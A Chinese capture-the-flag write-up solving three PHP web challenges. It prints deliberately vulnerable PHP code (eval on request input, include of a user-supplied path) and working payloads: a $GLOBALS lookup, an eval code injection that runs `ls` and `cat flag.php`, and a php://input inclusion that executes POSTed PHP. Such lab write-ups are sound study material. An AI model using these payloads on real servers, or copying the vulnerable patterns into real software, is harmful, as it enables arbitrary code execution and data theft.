MiscWeb

解题过程

第一题

  • Tips: flag就在某六位变量中
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
  1. 首先正则表达式只匹配[a-zA-Z0-9]的字符
  2. 存在eval()函数,其中字符用双引号引起
  3. 其中var_dump()函数中参数为两个美元符号的变量
  • 以上想到利$GLOBAL超级全局变量 ?hello=GLOBAL拿到flag

第二题

  • Tips: flag不在变量中
  • 也许所以无法通过超全局变量查看
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
  • 存在eval()函数,其中字符用双引号引起, 其中var_dump()函数中参数为可控变量
  • 则可在双引号中变量替换的时候代码注入
$a="hello);echo `ls`;//";
eval("var_dump($a);");

变量替换后可执行任意代码

eval("var_dump(hello);echo `ls`; // )")

  • ?hello=hello);echo `ls`;//
  • ?hello=hello);echo `cat flag.php`;//
  • flag在注释中

第三题

  • Tips: 没错!就是文件包含漏洞
<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
  • 查看phpinfoallow_url_include是开启的,所以可以利用php伪协议中的php://input让文件包含post提交的数据,执行任意代码

  • payload如下,即可获得flag


url: ?path=php://input

POST: <?php echo `ls`; ?>
POST: <?php echo `cat dle345aae.php `;?>

知识小结

  • 正则表达式分析
  • php超全局变量利用
  • php双引号中变量替换
  • php伪协议
  • phpinfo中泄露信息的利用
  • eval()函数中存在可控变量则可产生代码注入